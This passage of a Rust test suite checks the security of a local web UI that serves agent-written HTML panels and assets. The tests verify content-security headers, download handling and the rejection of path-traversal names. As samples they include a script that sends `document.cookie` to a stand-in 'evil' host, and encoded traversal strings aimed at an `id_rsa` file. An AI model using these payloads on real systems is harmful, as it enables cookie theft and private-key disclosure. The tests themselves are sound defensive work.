7116 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7117
7118 let mut c = Question::new(
7121 "task".to_owned(),
7122 crate::conduct::NODE.to_owned(),
7123 "conduct".to_owned(),
7124 "which?".to_owned(),
7125 String::new(),
7126 Vec::new(),
7127 );
7128 assert_eq!(holder_of(&c, None), Some("nobody"));
7129 c.cwd = Some("/tmp".to_owned());
7130 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7131 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7132 let deputy = beat(ask::WaiterKind::Deputy, 1);
7133 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7134 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7135
7136 let mut r = Question::new(
7138 String::new(),
7139 crate::bump::NOTICE_NODE.to_owned(),
7140 "release-watch".to_owned(),
7141 "stuck?".to_owned(),
7142 String::new(),
7143 vec!["hold".to_owned()],
7144 );
7145 assert_eq!(holder_of(&r, None), Some("nobody"));
7146 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7147 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7148 r.deputy = None;
7150 r.seat = "bump".to_owned();
7151 assert_eq!(holder_of(&r, None), None);
7152
7153 let mut m = Question::new(
7156 "run".to_owned(),
7157 crate::land::APPROVAL_NODE.to_owned(),
7158 "land".to_owned(),
7159 "merge?".to_owned(),
7160 String::new(),
7161 Vec::new(),
7162 );
7163 assert_eq!(holder_of(&m, None), Some("nobody"));
7164 assert_eq!(
7165 holder_of(&m, Some(&fresh)),
7166 Some("nobody"),
7167 "a lease with no deputy is not a listener"
7168 );
7169 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7170 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7171 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7172 assert_eq!(holder_of(&m, None), Some("nobody"));
7173 }
7174
7175 fn stub_config() -> Config {
7176 Config {
7179 agents: vec![crate::config::AgentSpec {
7180 id: "stub".to_owned(),
7181 kind: AgentKind::Command,
7182 model: None,
7183 command: vec!["true".to_owned()],
7184 extra_args: Vec::new(),
7185 env: Default::default(),
7186 prompt_delivery: None,
7187 }],
7188 ..Config::default()
7189 }
7190 }
7191
7192 fn plain_question(seat: &str) -> Question {
7193 Question::new(
7194 String::new(),
7195 "n".to_owned(),
7196 seat.to_owned(),
7197 "s".to_owned(),
7198 String::new(),
7199 Vec::new(),
7200 )
7201 }
7202
7203 #[test]
7204 fn deputies_enabled_follows_the_config() {
7205 let on = stub_config();
7206 assert!(crate::deputy::can_start(Some(&on), ""));
7207 assert!(crate::deputy::can_start(Some(&on), "stub"));
7208 let mut off = on.clone();
7209 off.daemon.max_deputies = 0;
7210 assert!(!crate::deputy::can_start(Some(&off), ""));
7211 let mut empty = on;
7212 empty.agents.clear();
7213 assert!(!crate::deputy::can_start(Some(&empty), ""));
7214 assert!(!crate::deputy::can_start(None, ""));
7215 }
7216
7217 #[test]
7218 fn question_views_load_the_config_once() {
7219 let dir = TempDir::new().unwrap();
7220 let store = ask::Questions::at(dir.path().to_path_buf());
7221 let mut with_deputy = plain_question("b");
7222 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7223 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7224
7225 let calls = std::cell::Cell::new(0usize);
7226 let views = question_views(qs.clone(), &store, || {
7227 calls.set(calls.get() + 1);
7228 Some(stub_config())
7229 });
7230 assert_eq!(calls.get(), 1);
7231 assert_eq!(views.len(), 3);
7232 for (v, q) in views.iter().zip(&qs) {
7233 assert_eq!(
7234 v.deputies_enabled,
7235 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7236 );
7237 }
7238
7239 let views = question_views(qs, &store, || None);
7240 assert!(views.iter().all(|v| !v.deputies_enabled));
7241
7242 let calls = std::cell::Cell::new(0usize);
7243 let views = question_views(Vec::new(), &store, || {
7244 calls.set(calls.get() + 1);
7245 None
7246 });
7247 assert!(views.is_empty());
7248 assert_eq!(calls.get(), 0);
7249 }
7250
7251 use pretty_assertions::assert_eq;
7252 use serde_json::Value;
7253 use tempfile::TempDir;
7254 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7255
7256 use super::*;
7257 use crate::config::Config;
7258 use crate::queue::Source;
7259
7260 const SETTLE_STEPS: usize = 3_000;
7271
7272 struct Fixture {
7278 home: TempDir,
7279 addr: SocketAddr,
7280 }
7281
7282 impl Fixture {
7283 async fn start() -> Self {
7284 Self::with_loop(launch_idle).await
7285 }
7286
7287 async fn with_loop(launch: Launch) -> Self {
7289 let home = TempDir::new().expect("temp home");
7290 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7291 Self { home, addr }
7292 }
7293
7294 async fn with_repo(repo: PathBuf) -> Self {
7298 let home = TempDir::new().expect("temp home");
7299 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7300 Self { home, addr }
7301 }
7302
7303 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7306 let home = TempDir::new().expect("temp home");
7307 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7308 Self { home, addr }
7309 }
7310
7311 async fn serve(
7312 home: &FsPath,
7313 repo: PathBuf,
7314 launch: Launch,
7315 machine: Option<PathBuf>,
7316 ) -> SocketAddr {
7317 let queue = Queue::at(home.join("queue"));
7318 let runs = home.join("runs");
7319 std::fs::create_dir_all(&runs).expect("runs dir");
7320 let worktrees = home.join("wt").join("magi");
7321 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7322 let ui = Ui::new(
7323 queue,
7324 Questions::at(home.join("questions")),
7325 Talks::at(home.join("talks")),
7326 runs,
7327 home.to_path_buf(),
7328 repo,
7329 )
7330 .with_worktrees_root(worktrees)
7331 .with_machine_config(machine)
7332 .with_launch(launch);
7333 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7334 .await
7335 .expect("bind loopback");
7336 let addr = listener.local_addr().expect("local addr");
7337 tokio::spawn(async move {
7338 let _ = axum::serve(listener, ui.router()).await;
7339 });
7340 addr
7341 }
7342
7343 fn queue(&self) -> Queue {
7344 Queue::at(self.home.path().join("queue"))
7345 }
7346
7347 fn questions(&self) -> Questions {
7348 Questions::at(self.home.path().join("questions"))
7349 }
7350
7351 fn talks(&self) -> Talks {
7352 Talks::at(self.home.path().join("talks"))
7353 }
7354
7355 fn runs(&self) -> PathBuf {
7356 self.home.path().join("runs")
7357 }
7358
7359 async fn get(&self, path: &str) -> Res {
7360 request(self.addr, "GET", path, None).await
7361 }
7362
7363 async fn head(&self, path: &str) -> Res {
7368 request(self.addr, "HEAD", path, None).await
7369 }
7370
7371 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7372 request(self.addr, "POST", path, body).await
7373 }
7374
7375 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7376 request_with(self.addr, "GET", path, None, extra).await
7377 }
7378
7379 async fn delete(&self, path: &str) -> Res {
7380 request(self.addr, "DELETE", path, None).await
7381 }
7382
7383 async fn put(&self, path: &str, body: &str) -> Res {
7384 request(self.addr, "PUT", path, Some(body)).await
7385 }
7386
7387 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7389 request_bytes(self.addr, path, headers, body).await
7390 }
7391 }
7392
7393 struct Res {
7394 status: u16,
7395 headers: String,
7396 head: String,
7401 body: String,
7402 bytes: Vec<u8>,
7406 }
7407
7408 impl Res {
7409 fn json(&self) -> Value {
7410 serde_json::from_str(&self.body)
7411 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7412 }
7413
7414 fn header(&self, name: &str) -> Option<&str> {
7416 self.head.lines().find_map(|line| {
7417 let (key, value) = line.split_once(':')?;
7418 key.trim()
7419 .eq_ignore_ascii_case(name)
7420 .then(|| value.trim_start().trim_end_matches('\r'))
7421 })
7422 }
7423 }
7424
7425 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7428 request_with(addr, method, path, body, &[]).await
7429 }
7430
7431 async fn request_with(
7435 addr: SocketAddr,
7436 method: &str,
7437 path: &str,
7438 body: Option<&str>,
7439 extra: &[(&str, &str)],
7440 ) -> Res {
7441 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7442 for (name, value) in extra {
7443 head.push_str(&format!("{name}: {value}\r\n"));
7444 }
7445 if let Some(body) = body {
7446 head.push_str("Content-Type: application/json\r\n");
7447 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7448 }
7449 head.push_str("\r\n");
7450 if let Some(body) = body {
7451 head.push_str(body);
7452 }
7453 let mut socket = tokio::net::TcpStream::connect(addr)
7454 .await
7455 .expect("connect to the test server");
7456 socket
7457 .write_all(head.as_bytes())
7458 .await
7459 .expect("write request");
7460 let mut raw = Vec::new();
7461 socket.read_to_end(&mut raw).await.expect("read response");
7462 let split = raw
7465 .windows(4)
7466 .position(|w| w == b"\r\n\r\n")
7467 .expect("a header block");
7468 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7469 let bytes = raw[split + 4..].to_vec();
7470 let status = head
7471 .lines()
7472 .next()
7473 .and_then(|line| line.split_whitespace().nth(1))
7474 .and_then(|code| code.parse().ok())
7475 .expect("a status line");
7476 Res {
7477 status,
7478 headers: head.to_lowercase(),
7479 head,
7480 body: String::from_utf8_lossy(&bytes).into_owned(),
7481 bytes,
7482 }
7483 }
7484
7485 async fn request_bytes(
7491 addr: SocketAddr,
7492 path: &str,
7493 headers: &[(&str, &str)],
7494 body: &[u8],
7495 ) -> Res {
7496 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7497 for (name, value) in headers {
7498 head.push_str(&format!("{name}: {value}\r\n"));
7499 }
7500 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7501 let mut socket = tokio::net::TcpStream::connect(addr)
7502 .await
7503 .expect("connect to the test server");
7504 socket
7505 .write_all(head.as_bytes())
7506 .await
7507 .expect("write request head");
7508 socket.write_all(body).await.expect("write request body");
7509 let mut raw = Vec::new();
7510 socket.read_to_end(&mut raw).await.expect("read response");
7511 let split = raw
7512 .windows(4)
7513 .position(|w| w == b"\r\n\r\n")
7514 .expect("a header block");
7515 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7516 let bytes = raw[split + 4..].to_vec();
7517 let status = head
7518 .lines()
7519 .next()
7520 .and_then(|line| line.split_whitespace().nth(1))
7521 .and_then(|code| code.parse().ok())
7522 .expect("a status line");
7523 Res {
7524 status,
7525 headers: head.to_lowercase(),
7526 head,
7527 body: String::from_utf8_lossy(&bytes).into_owned(),
7528 bytes,
7529 }
7530 }
7531
7532 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7534 let mut state = RunState::new(
7535 PathBuf::from("/repo/magi"),
7536 "main".to_owned(),
7537 "0123456789abcdef".to_owned(),
7538 "Add a web UI\n\nMobile first.".to_owned(),
7539 Config::default(),
7540 );
7541 state.id = id.to_owned();
7542 state.status = status;
7543 let dir = runs.join(id);
7544 std::fs::create_dir_all(&dir).expect("run dir");
7545 std::fs::write(
7546 dir.join("run.json"),
7547 serde_json::to_string_pretty(&state).expect("serialize run"),
7548 )
7549 .expect("write run.json");
7550 }
7551
7552 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7556 let mut state = RunState::new(
7557 PathBuf::from(repo),
7558 "main".to_owned(),
7559 "0123456789abcdef".to_owned(),
7560 "task".to_owned(),
7561 Config::default(),
7562 );
7563 state.id = id.to_owned();
7564 state.status = status;
7565 let dir = runs.join(id);
7566 std::fs::create_dir_all(&dir).expect("run dir");
7567 std::fs::write(
7568 dir.join("run.json"),
7569 serde_json::to_string_pretty(&state).expect("serialize run"),
7570 )
7571 .expect("write run.json");
7572 }
7573
7574 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7575 let body = serde_json::json!({
7576 "schema": 1,
7577 "pid": 4242,
7578 "started_at": Timestamp::now().to_string(),
7579 "updated_at": updated_at.to_string(),
7580 "idle": false,
7581 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7582 "completed": 7,
7583 "polls": 143,
7584 });
7585 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7586 }
7587
7588 fn launch_idle(
7598 _opts: daemon::Opts,
7599 stop: daemon::Stop,
7600 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7601 Box::pin(async move {
7602 while !stop.stopped() {
7603 tokio::time::sleep(Duration::from_millis(2)).await;
7604 }
7605 Ok(())
7606 })
7607 }
7608
7609 fn launch_broken(
7612 _opts: daemon::Opts,
7613 _stop: daemon::Stop,
7614 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7615 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
7620 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
7621 Box::pin(async move {
7622 Err(anyhow::anyhow!(if first {
7623 "publish the daemon status file: read-only file system"
7624 } else {
7625 "the restarted stand-in failed as well"
7626 }))
7627 })
7628 }
7629
7630 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7637 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7638
7639 fn launch_knocking_on_the_way_out(
7646 _opts: daemon::Opts,
7647 stop: daemon::Stop,
7648 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7649 Box::pin(async move {
7650 while !stop.stopped() {
7651 tokio::time::sleep(Duration::from_millis(2)).await;
7652 }
7653 let addr = PARK_KNOCK
7654 .lock()
7655 .expect("park knock")
7656 .expect("the test set an address");
7657 let heard = request(addr, "GET", "/api/health", None).await.status;
7658 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7659 Ok(())
7660 })
7661 }
7662
7663 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7672 for _ in 0..SETTLE_STEPS {
7673 let view = fx.get("/api/loop").await.json();
7674 if want(&view) {
7675 return view;
7676 }
7677 tokio::time::sleep(Duration::from_millis(10)).await;
7678 }
7679 panic!(
7680 "the loop never settled: {}",
7681 fx.get("/api/loop").await.json()
7682 );
7683 }
7684
7685 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7687 let store = fx.questions();
7688 let mut q = Question::new(
7689 "20260902-000000-beef".to_owned(),
7690 "implement".to_owned(),
7691 "impl-A".to_owned(),
7692 summary.to_owned(),
7693 "because it matters".to_owned(),
7694 choices.iter().map(|c| (*c).to_owned()).collect(),
7695 );
7696 store.put(&mut q).expect("put question");
7697 q.id
7698 }
7699
7700 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7706 let store = fx.questions();
7707 let mut q = Question::new(
7708 "20260902-000000-beef".to_owned(),
7709 "land".to_owned(),
7710 "fix".to_owned(),
7711 "Merge this?".to_owned(),
7712 "the diff is in the panel".to_owned(),
7713 vec!["merge".to_owned(), "hold".to_owned()],
7714 );
7715 let staging = fx.home.path().join("staging");
7718 std::fs::create_dir_all(&staging).expect("staging dir");
7719 let sources: Vec<PathBuf> = assets
7720 .iter()
7721 .map(|(name, bytes)| {
7722 let path = staging.join(name);
7723 std::fs::write(&path, bytes).expect("write staged asset");
7724 path
7725 })
7726 .collect();
7727 store
7728 .put_panel(&mut q, html, &sources)
7729 .expect("write the panel");
7730 store.put(&mut q).expect("put question");
7731 q.id
7732 }
7733
7734 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7743 seed_talk_at(&fx.talks(), id, status)
7744 }
7745
7746 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7747 std::fs::create_dir_all(store.root()).expect("talks dir");
7748 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7749 .expect("serialize a seat");
7750 let body = serde_json::json!({
7751 "schema": 1,
7752 "id": id,
7753 "repo": "/repo/magi",
7754 "agent": "mock",
7755 "status": status,
7756 "turns": [],
7757 "created_at": Timestamp::now().to_string(),
7758 "updated_at": Timestamp::now().to_string(),
7759 "seat": seat,
7760 });
7761 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7762 store.get(id).expect("the seeded talk has to be readable");
7763 id.to_owned()
7764 }
7765
7766 #[tokio::test]
7767 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7768 let fx = Fixture::start().await;
7769 let id = panel(
7770 &fx,
7771 "<h1>Merge?</h1><img src=\"diff.svg\">",
7772 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7773 );
7774
7775 for path in [
7776 format!("/api/questions/{id}/panel"),
7777 format!("/api/questions/{id}/asset/diff.svg"),
7778 ] {
7779 let res = fx.get(&path).await;
7780 assert_eq!(res.status, 200, "{path}: {}", res.body);
7781 assert_eq!(
7787 res.header("content-security-policy"),
7788 Some(
7789 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7790 font-src data:; base-uri 'none'; form-action 'none'; \
7791 frame-ancestors 'self'"
7792 ),
7793 "{path} is the only thing between a hostile panel and the tailnet"
7794 );
7795 assert_eq!(
7796 res.header("x-content-type-options"),
7797 Some("nosniff"),
7798 "{path}: a browser must not re-decide the type we sent"
7799 );
7800 assert_eq!(
7801 res.header("referrer-policy"),
7802 Some("no-referrer"),
7803 "{path}: a panel must not leak the question id off the machine"
7804 );
7805
7806 let pre = fx.head(&path).await;
7811 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7812 assert_eq!(
7813 pre.header("content-security-policy"),
7814 res.header("content-security-policy"),
7815 "{path}: the preflight carries the same policy"
7816 );
7817 assert_eq!(
7818 pre.header("content-type"),
7819 res.header("content-type"),
7820 "{path}: the preflight carries the same type"
7821 );
7822 }
7823 }
7824
7825 #[tokio::test]
7826 async fn a_panel_reaches_the_browser_byte_for_byte() {
7827 let fx = Fixture::start().await;
7828 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7833 let id = panel(&fx, html, &[]);
7834
7835 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7836
7837 assert_eq!(res.status, 200);
7838 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7839 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7840 assert_eq!(
7841 res.header("content-disposition"),
7842 None,
7843 "the panel itself is rendered in the frame, not downloaded"
7844 );
7845 }
7846
7847 #[tokio::test]
7848 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7849 let fx = Fixture::start().await;
7850 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7851 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7852 let id = panel(
7853 &fx,
7854 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7855 &[("diff.svg", svg), ("shot.png", png)],
7856 );
7857
7858 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7859 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7860
7861 assert_eq!(as_svg.status, 200);
7862 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7863 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7868
7869 assert_eq!(as_png.status, 200);
7870 assert_eq!(as_png.header("content-type"), Some("image/png"));
7871 assert_eq!(
7872 as_png.header("content-disposition"),
7873 None,
7874 "a raster image has no execution surface, so tapping it still shows it"
7875 );
7876 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7877 }
7878
7879 #[tokio::test]
7880 async fn an_html_asset_is_never_served_as_html() {
7881 let fx = Fixture::start().await;
7882 let id = panel(
7883 &fx,
7884 "<p>see the notes</p>",
7885 &[
7886 (
7887 "notes.html",
7888 b"<script>fetch('http://evil/'+document.cookie)</script>",
7889 ),
7890 ("hook.js", b"fetch('http://evil/')"),
7891 ("data.json", b"{}"),
7892 ("HEADLINE.TXT", b"plain"),
7893 ],
7894 );
7895
7896 for name in ["notes.html", "hook.js", "data.json"] {
7897 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7898 assert_eq!(res.status, 200, "{name}: {}", res.body);
7899 assert_eq!(
7904 res.header("content-type"),
7905 Some("application/octet-stream"),
7906 "{name} must not be a type the browser will execute or render"
7907 );
7908 }
7909 let txt = fx
7912 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7913 .await;
7914 assert_eq!(
7915 txt.header("content-type"),
7916 Some("text/plain; charset=utf-8")
7917 );
7918 }
7919
7920 #[tokio::test]
7921 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7922 let fx = Fixture::start().await;
7923 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7924 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7928
7929 for encoded in [
7936 "%2e%2e%2fid_rsa",
7937 "..%2fid_rsa",
7938 "..%5cid_rsa",
7939 "%2e%2e%5cid_rsa",
7940 "diff%00.svg",
7941 "..",
7942 ".hidden",
7943 "%2e%2e%2f%2e%2e%2fid_rsa",
7944 ] {
7945 let res = fx
7946 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7947 .await;
7948 assert_eq!(
7949 res.status, 400,
7950 "`{encoded}` has to be refused by name, not looked up: {}",
7951 res.body
7952 );
7953 assert!(res.json()["error"].is_string(), "{}", res.body);
7954 }
7955
7956 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7962 let res = fx
7963 .get(&format!("/api/questions/{id}/asset/{literal}"))
7964 .await;
7965 assert_eq!(
7966 res.status, 404,
7967 "`{literal}` must not match the asset route at all: {}",
7968 res.body
7969 );
7970 }
7971 }
7972
7973 #[tokio::test]
7974 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7975 let fx = Fixture::start().await;
7976 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7977 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7978
7979 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7983 assert_eq!(none.status, 404, "{}", none.body);
7984 assert!(none.json()["error"].is_string(), "{}", none.body);
7985 assert_eq!(
7986 fx.head(&format!("/api/questions/{plain}/panel"))
7987 .await
7988 .status,
7989 404,
7990 "the preflight is the only way the client can learn this"
7991 );
7992
7993 let missing = fx
7995 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7996 .await;
7997 assert_eq!(missing.status, 404, "{}", missing.body);
7998 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7999
8000 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8002 assert_eq!(
8003 fx.get("/api/questions/nope/asset/diff.svg").await.status,
8004 404
8005 );
8006 }
8007
8008 #[tokio::test]
8009 async fn a_run_with_an_open_question_reads_as_waiting() {
8010 let fx = Fixture::start().await;
8011 let run = "20260902-000000-beef".to_owned();
8012 write_run(&fx.runs(), &run, RunStatus::Implementing);
8013
8014 let before = fx.get("/api/runs").await.json();
8015 assert_eq!(before[0]["waiting"], false, "{before}");
8016
8017 let store = fx.questions();
8018 let mut q = Question::new(
8019 run.clone(),
8020 "implement".to_owned(),
8021 "impl-A".to_owned(),
8022 "Which backend?".to_owned(),
8023 String::new(),
8024 vec!["SQLite".to_owned()],
8025 );
8026 store.put(&mut q).expect("put");
8027
8028 let during = fx.get("/api/runs").await.json();
8029 assert_eq!(during[0]["waiting"], true, "{during}");
8030
8031 q.answer(Answer::Choice("SQLite".to_owned()))
8034 .expect("answer");
8035 store.put(&mut q).expect("put");
8036 let after = fx.get("/api/runs").await.json();
8037 assert_eq!(after[0]["waiting"], false, "{after}");
8038 }
8039
8040 #[tokio::test]
8041 async fn an_open_question_is_listed_and_counted_by_health() {
8042 let fx = Fixture::start().await;
8043 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8044
8045 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8046 let listed = fx.get("/api/questions").await.json();
8047 assert_eq!(listed.as_array().expect("array").len(), 1);
8048 assert_eq!(listed[0]["id"], id);
8049 assert_eq!(listed[0]["status"], "open");
8050 assert_eq!(listed[0]["choices"][1], "Redis");
8051 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8054 }
8055
8056 #[tokio::test]
8057 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8058 let fx = Fixture::start().await;
8059 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8060 let path = format!("/api/questions/{id}/answer");
8061
8062 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8063 assert_eq!(res.status, 200, "{}", res.body);
8064 let body = res.json();
8065 assert_eq!(body["status"], "answered");
8066 assert_eq!(body["answer"]["choice"], "Redis");
8067
8068 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8072 assert_eq!(again.status, 409, "{}", again.body);
8073 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8074 }
8075
8076 #[tokio::test]
8077 async fn saying_something_appends_a_turn_without_answering() {
8078 let fx = Fixture::start().await;
8079 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8080 let path = format!("/api/questions/{id}/say");
8081
8082 let res = fx
8083 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8084 .await;
8085 assert_eq!(res.status, 200, "{}", res.body);
8086 let body = res.json();
8087 assert_eq!(body["status"], "open", "talking back is not a decision");
8088 assert_eq!(body["answer"], Value::Null);
8089 assert_eq!(body["thread"][0]["who"], "operator");
8090 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8091 assert_eq!(body["waiting_on_agent"], true);
8092 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8094 }
8095
8096 #[tokio::test]
8097 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8098 let fx = Fixture::start().await;
8099 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8100
8101 let list = fx.get("/api/questions").await.json();
8102 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8103
8104 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8105 assert_eq!(res.status, 409, "{}", res.body);
8106 let q = fx.questions().get(&id).unwrap();
8107 assert!(q.status.open());
8108 assert!(q.consult.is_none());
8109 }
8110
8111 #[tokio::test]
8112 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8113 let fx = Fixture::start().await;
8114 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8115 let cfg = Config {
8116 agents: vec![crate::config::AgentSpec {
8117 id: "mock".to_owned(),
8118 kind: crate::config::AgentKind::Command,
8119 model: None,
8120 command: vec!["true".to_owned()],
8121 extra_args: Vec::new(),
8122 env: Default::default(),
8123 prompt_delivery: None,
8124 }],
8125 ..Config::default()
8126 };
8127 let talk = crate::talk::begin(
8128 &fx.talks(),
8129 &cfg,
8130 fx.home.path().to_path_buf(),
8131 Some("mock"),
8132 )
8133 .unwrap();
8134 let mut task = Task::new(
8135 "t".to_owned(),
8136 "Do it".to_owned(),
8137 PathBuf::from("/repo/magi"),
8138 Source::Agent {
8139 run: talk.id.clone(),
8140 node: crate::queue::CHAT_NODE.to_owned(),
8141 },
8142 );
8143 task.start("20260902-000000-beef".to_owned());
8144 fx.queue().put(&mut task).unwrap();
8145
8146 let list = fx.get("/api/questions").await.json();
8147 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8148 assert_eq!(
8149 list[0]["choices"],
8150 serde_json::json!(["SQLite", "Redis"]),
8151 "the hand-over is never a choice"
8152 );
8153 let _ = id;
8154 }
8155
8156 #[tokio::test]
8157 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8158 let fx = Fixture::start().await;
8159 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8160 let cfg = Config {
8161 agents: vec![crate::config::AgentSpec {
8162 id: "mock".to_owned(),
8163 kind: crate::config::AgentKind::Command,
8164 model: None,
8165 command: vec!["true".to_owned()],
8166 extra_args: Vec::new(),
8167 env: Default::default(),
8168 prompt_delivery: None,
8169 }],
8170 ..Config::default()
8171 };
8172 let repo = fx.home.path().join("chat-repo");
8174 std::fs::create_dir_all(&repo).unwrap();
8175 let toml = repo.join("magi.toml");
8176 std::fs::write(&toml, "this is = = not toml").unwrap();
8177 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8178 let mut task = Task::new(
8179 "t".to_owned(),
8180 "Do it".to_owned(),
8181 PathBuf::from("/repo/magi"),
8182 Source::Agent {
8183 run: talk.id.clone(),
8184 node: crate::queue::CHAT_NODE.to_owned(),
8185 },
8186 );
8187 task.start("20260902-000000-beef".to_owned());
8188 fx.queue().put(&mut task).unwrap();
8189
8190 let path = format!("/api/questions/{id}/consult");
8191 let res = fx.post(&path, None).await;
8192 assert!(res.status >= 400, "{}", res.body);
8193 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8194 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8195
8196 std::fs::write(&toml, "").unwrap();
8197 let res = fx.post(&path, None).await;
8198 assert_eq!(res.status, 202, "{}", res.body);
8199 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8200 }
8201
8202 #[tokio::test]
8203 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8204 let fx = Fixture::start().await;
8205 let store = fx.questions();
8206 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8207 assert_eq!(
